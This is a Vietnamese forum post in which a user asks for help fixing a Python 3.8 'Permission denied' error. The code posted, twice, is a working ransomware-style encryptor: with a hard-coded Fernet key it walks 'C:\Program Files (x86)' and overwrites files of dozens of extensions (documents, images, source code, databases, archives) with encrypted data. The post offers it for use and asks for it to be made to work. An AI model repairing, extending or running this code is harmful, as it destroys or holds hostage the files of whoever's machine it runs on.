piraviet112233
Member
-
05/10/2020
-
0
-
5 bài viết
Lỗi python 3.8: PermissionError: [Errno 13] Permission denied
-Ai sửa giúp em lỗi này với: PermissionError: [Errno 13] Permission denied: 'C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg'
-CODE:
import os, sys, cryptography, cffi
from cryptography.fernet import Fernet
a = b'KOdDY8NKu87Yrht02BHN2yVT49pzecc0WdJEjjfUtSc='
key = Fernet(a)
center_path = "C:\Program Files (x86)"
f_ext = [".txt", ".doc", ".html", ".jpg", ".png", ".mp3", ".mp4", ".jar", ".java", ".xlsx", ".xls", ".docx", ".ppt", ".pptx", ".cvs", ".pdf", ".jpeg", ".vbs", ".asp", ".avi", ".vb", ".cpp", ".cs", ".css", ".ps1", ".bat", ".rb", ".js", ".php", ".svg", ".jsp", ".c", ".sh", ".wav", ".suo", ".sln", ".sql", ".sqlitedb", ".sqlite3", ".zip", ".rar", ".7z", ".aes", ".tar", ".bak", ".tar", ".tgz", ".gz", ".xlsm", ".xlsb", ".xlw", ".iso", ".backup", ".gif", ".key"]
for root, dirs, files in os.walk(center_path, topdown=True):
for file in files:
for e in f_ext:
if file.endswith(e):
tag = os.path.join(root, file)
with open(tag, "rb") as qwe:
data = qwe.read()
print("[*] Encrypting", tag)
en = key.encrypt(data)
with open(tag, "wb") as asd:
asd.write(en)
-CODE:
import os, sys, cryptography, cffi
from cryptography.fernet import Fernet
a = b'KOdDY8NKu87Yrht02BHN2yVT49pzecc0WdJEjjfUtSc='
key = Fernet(a)
center_path = "C:\Program Files (x86)"
f_ext = [".txt", ".doc", ".html", ".jpg", ".png", ".mp3", ".mp4", ".jar", ".java", ".xlsx", ".xls", ".docx", ".ppt", ".pptx", ".cvs", ".pdf", ".jpeg", ".vbs", ".asp", ".avi", ".vb", ".cpp", ".cs", ".css", ".ps1", ".bat", ".rb", ".js", ".php", ".svg", ".jsp", ".c", ".sh", ".wav", ".suo", ".sln", ".sql", ".sqlitedb", ".sqlite3", ".zip", ".rar", ".7z", ".aes", ".tar", ".bak", ".tar", ".tgz", ".gz", ".xlsm", ".xlsb", ".xlw", ".iso", ".backup", ".gif", ".key"]
for root, dirs, files in os.walk(center_path, topdown=True):
for file in files:
for e in f_ext:
if file.endswith(e):
tag = os.path.join(root, file)
with open(tag, "rb") as qwe:
data = qwe.read()
print("[*] Encrypting", tag)
en = key.encrypt(data)
with open(tag, "wb") as asd:
asd.write(en)